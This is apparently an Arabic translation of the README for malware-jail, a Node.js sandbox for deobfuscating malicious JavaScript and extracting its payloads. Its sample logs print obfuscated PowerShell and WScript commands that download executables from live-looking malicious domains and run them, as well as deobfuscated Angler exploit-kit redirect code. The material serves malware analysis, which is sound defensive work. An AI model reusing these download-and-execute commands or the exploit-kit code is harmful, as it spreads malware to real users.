
صندوق رمل لتحليل البرامج الضارة لجافا سكريبت شبه تلقائي، وإزالة التعتيم واستخراج الحمولة. مكتوب لـ Node.js
صندوق حماية للتحليل شبه التلقائي لبرامج جافا سكريبت الخبيثة، وإزالة التعتيم واستخراج الحمولة. مكتوب لـ Node.js
تم كتابة malware-jail لـ صندوق الحماية 'vm' الخاص بـ Node. يقوم حالياً بتنفيذ سياق WScript (Windows Scripting Host) env/wscript.js، على الأقل الجزء المستخدم بشكل متكرر من قبل البرامج الضارة. سياق متصفح الإنترنت تم تنفيذه جزئياً env/browser.js.
يعمل على أي نظام تشغيل. تم التطوير والاختبار على Linux، Node.js v6.6.0.
نظراً لاستخدام بعض ميزات ES6، ستحتاج إلى Node.js >= 6.x.
انظر EXAMPLES للحصول على نماذج برامج ضارة تم تحليلها.
إذا كان لديك عينات برامج ضارة جديدة، يرجى إرسالها إلى javascript-malware-collection، إما عبر issue أو طلب سحب.
يقوم بتعداد استعلامات WMI إلى ملف: wmis.json
تمت إضافة معلمة جديدة:
--t404 - طلبات http تعود دائماً بـ HTTP/404 وترمي استثناءً. يتيح ذلك تعداد جميع عناوين URL البعيدة.
يتم الآن حفظ عناوين URL إلى ملف urls.json. انظر أحدث EXAMPLES#malware-of-issue-14.
إصلاحات مختلفة للأخطاء وتحسينات.
إصلاحات مختلفة للأخطاء وتحسينات.
تمت إضافة معلمات جديدة:
-t msecs - يحدد وقت التنفيذ بـ "msecs" ميلي ثانية، افتراضياً 60 ثانية.
--h404 - طلبات http تعود دائماً بـ HTTP/404 ولا ترمي استثناءً. يتيح ذلك تعداد جميع عناوين URL البعيدة.
ستحتاج إلى تثبيت Node.js و npm.
تم بناء malware-jail على أساس minimist، iconv-lite و entities.
اسحب المصدر باستخدام git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
ثم قم بتثبيت جميع التبعيات (minimist, entities, iconv-lite) باستخدام:
npm install
غير متوفرة بعد، قريباً ...
كن حذراً عند العمل مع برامج ضارة حقيقية. قد يحاول برنامج ضار، يدرك وجود صندوق الحماية هذا، الهروب وإلحاق الضرر بجهاز الكمبيوتر الخاص بك. يُوصى بتشغيله إما من حساب Linux غير مميز أو من داخل جهاز Windows افتراضي. ملفات Angler الموجودة في مجلد malware ليست معطلة.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, صندوق حماية للبرامج الضارة الإصدار 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - الاستخدام: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. استخدم ملف إعدادات بديل، اسبقه بـ ./
7 May 20:54:52 - -e ifile ... ملف js يحاكي بيئة معينة
7 May 20:54:52 - -o ofile ... اسم الملف الذي سيتم تفريغ صندوق الحماية إليه في النهاية
7 May 20:54:52 - -s odir ... دليل الإخراج للملفات المُنشأة (حمولة البرنامج الضار)
7 May 20:54:52 - -b id ... نوع المتصفح، استخدم -b list للقيم الممكنة
7 May 20:54:52 - -t msecs ... عدد الميلي ثانية قبل إنهاء التنفيذ، افتراضياً دقيقة واحدة
7 May 20:54:52 - --trace ... اطبع تتبع المكدس مع كل سطر سجل
7 May 20:54:52 - --down ... السماح بتحميل حمولات البرامج الضارة من الخوادم البعيدة
7 May 20:54:52 - --h404 ... عند التحميل، أعد دائماً HTTP/404
7 May 20:54:52 - malware ... ملف js مع كود البرنامج الضار
7 May 20:54:52 - إذا لم يتم تحديد أي وسائط، يتم أخذ القيم الافتراضية من config.json
7 May 20:54:52 - القيم الممكنة لـ -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
في مجلد الأمثلة قد تجد ملف برنامج ضار غير نشط. قم بتشغيل التحليل باستخدام:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
البرامج الضارة المعتمدة على متصفح الإنترنت يمكنك اختبارها باستخدام:
node jailme.js -b IE11_W10 malware/example_browser.js
في نهاية التحليل، يتم تفريغ سياق صندوق الحماية بالكامل إلى ملف 'sandbox_dump_after.json'.
قد ترغب في فحص الإدخالات التالية من ملف 'sandbox_dump_after.json':
يستخدم 'sandbox_dump_after.json' JSONPath، المنفذ بواسطة JSON-js/cycle.js، لحفظ المراجع المكررة أو الدورية لنفس الكائن.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - صندوق حماية للبرامج الضارة الإصدار 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - تسلسل بيئة صندوق الحماية: env/eval.js,env/wscript.js
11 Jan 00:06:24 - ملفات البرامج الضارة: malware/example.js
11 Jan 00:06:24 - ملف الإخراج لتفريغ صندوق الحماية: sandbox_dump_after.json
11 Jan 00:06:24 - دليل الإخراج للملفات المُنشأة: output/
11 Jan 00:06:24 - ==> تجهيز بيئة صندوق الحماية.
11 Jan 00:06:24 - => تنفيذ: env/eval.js
11 Jan 00:06:24 - تجهيز صندوق الحماية لاعتراض استدعاءات eval().
11 Jan 00:06:24 - => تنفيذ: env/wscript.js
11 Jan 00:06:24 - تجهيز صندوق الحماية لمحاكاة بيئة WScript.
11 Jan 00:06:24 - ==> تنفيذ ملف(ات) البرنامج الضار.
11 Jan 00:06:24 - => تنفيذ: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - تم الإنشاء: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - تم الإنشاء: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] لا يتم إرسال البيانات، إذا كنت تريد التفاعل مع الخادم البعيد، قم بتعيين --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] استدعاء onreadystatechange() ببيانات وهمية
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - تم الإنشاء: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 بايت
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> انتهى تنفيذ السكريبت، يتم تفريغ بيئة صندوق الحماية إلى ملف.
11 Jan 00:08:42 - حفظ: output/_TEMP__49629482.dll
11 Jan 00:08:42 - حفظ: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - تم حفظ الملف المُنشأ
11 Jan 00:08:42 - تم حفظ الملف المُنشأ
11 Jan 00:08:42 - تم حفظ سياق صندوق الحماية إلى: sandbox_dump_after.json
في المثال أعلاه، تم استخراج الحمولة إلى output/_TEMP__49629482.dll و output/_TEMP__38611354.pdf
يحتوي مجلد malware على عينات برامج ضارة حقيقية. معظمها تم تنزيلها من https://malwr.com.
يرجى الاطلاع على EXAMPLES للحصول على فهرس كامل لعينات البرامج الضارة.
أخذ السكريبت الضار من malwr.com: Wileen.js
على ما يبدو، البرنامج الضار لا ينفذ إذا تم تشغيله من داخل متصفح:
if (typeof document == "undefined") {
لذلك قد ترغب في استخدام ملف إعدادات بديل لا يقوم بتحميل مكونات المتصفح/DOM:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
استخدام مثير للاهتمام لـ Powershell:
1 Oct 13:05:34 - => تنفيذ: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - تم الإنشاء: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE -ExEc^U^Tio^n^p^oLIC^y^ B^Y^pas^S -NOpro^Fi^L^e^ -^W^InD^Ow^sT^yle^ HI^ddeN^ (^Ne^W^-^OBJ^ecT^ S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> تنظيف صندوق الحماية.
1 Oct 13:05:34 - ==> انتهى تنفيذ السكريبت، يتم تفريغ بيئة صندوق الحماية إلى ملف.
1 Oct 13:05:34 - تم حفظ سياق صندوق الحماية إلى: sandbox_dump_after.json
ملف السجل: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out
أخذ JavaScript الضار من malwr.com: ORDER-10455.js
تشغيل أولاً بدون تفاعل مع الخوادم البعيدة:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js
ستحصل على شيء مثل:
...
29 Sep 23:17:21 - استدعاء eval() رقم: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - تم الإنشاء: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] لا يتم إرسال البيانات، إذا كنت تريد التفاعل مع الخادم البعيد، قم بتعيين --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (مقصوص)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (مقصوص)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] created.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - تم الإنشاء: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (مقصوص)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 بايت
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (مقصوص)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - تم الإنشاء: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - الإرجاع: 'undefined'
29 Sep 23:17:21 - ==> تنظيف صندوق الحماية.
29 Sep 23:17:21 - ==> انتهى تنفيذ السكريبت، يتم تفريغ بيئة صندوق الحماية إلى ملف.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (مقصوص)
29 Sep 23:17:21 - حفظ: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - تم حفظ الملف المُنشأ
29 Sep 23:17:21 - تم حفظ سياق صندوق الحماية إلى: sandbox_dump_after.json
يبدو أنه سلوك "قياسي" لإزالة التعتيم بغرض تحميل ملف ثنائي exe وتنفيذه في النهاية.
إذا أردنا الحصول على الحمولة الحقيقية، قم بتشغيله مع '--down=y':
node jailme.js --down=y malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
ملف السجل: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
أخذ JavaScript الضار من malwr.com: Norri.js
تشغيل:
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
ستحصل على:
30 Sep 01:02:11 - => تنفيذ: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - الوضع الصارم: false
30 Sep 01:02:11 - استدعاء eval() رقم: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - تم الإنشاء: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - تم الإنشاء: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - تم الإنشاء: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - تم الإنشاء: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - تم الإنشاء: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (مقصوص)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (مقصوص)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (مقصوص)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 بايت
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (مقصوص)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> تنظيف صندوق الحماية.
30 Sep 01:02:15 - ==> انتهى تنفيذ السكريبت، يتم تفريغ بيئة صندوق الحماية إلى ملف.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (مقصوص)
30 Sep 01:02:16 - حفظ: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - تم حفظ الملف المُنشأ
30 Sep 01:02:16 - تم حفظ سياق صندوق الحماية إلى: sandbox_dump_after.json
السلوك واضح من السجل. تم استخراج الحمولة إلى ملف output/TemporaryFolder_TempFile[15].
ملف السجل: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out
قم بتنزيل واستخراج Angler EK من ملف pcap على ANGLER EK SENDS CRYPTOWALL إلى malware/angler/angler_full.html.
قم بقص الجزء غير المرتبط بـ Angler واحفظه كـ malware/angler/angler_stripped.html.
قم بإزالة وسوم <script> وتحويل وسوم <div> المطلوبة إلى:
document._addElementById(id, content);
واحفظ كـ malware/angler/angler.js.
قم بتشغيل التحليل:
node jailme.js malware/angler/angler.js
في النهاية، قم بتسجيل المخرجات في angler_output.txt:
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt
إزالة التعتيم عن المرحلة النهائية:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }
ترخيص MIT (MIT License)
حقوق النشر (ج) 2016 Hynek Petrak
يُمنح بموجب هذا الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج وملفات التوثيق المرتبطة به (يُشار إليها باسم "البرنامج")، بالتعامل في البرنامج دون قيود، بما في ذلك وعلى سبيل المثال لا الحصر الحقوق في استخدام البرنامج ونسخه وتعديله ودمجه ونشره وتوزيعه و/أو بيعه لنسخ من البرنامج، ويُسمح للأشخاص الذين يُقدم لهم البرنامج بذلك، شريطة الالتزام بالشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يُقدم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريحًا أو ضمنيًا، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق، والملاءمة لغرض معين وعدم انتهاك الحقوق. في أي حال من الأحوال لا يتحمل المؤلفون أو أصحاب حقوق النشر أي مسؤولية تجاه أي مطالبة أو أضرار أو غيرها من المسؤوليات، سواء في إطار عقد أو تقصير أو غير ذلك، الناشئة عن، أو من استخدام البرنامج أو التعامل به أو بخلاف ذلك.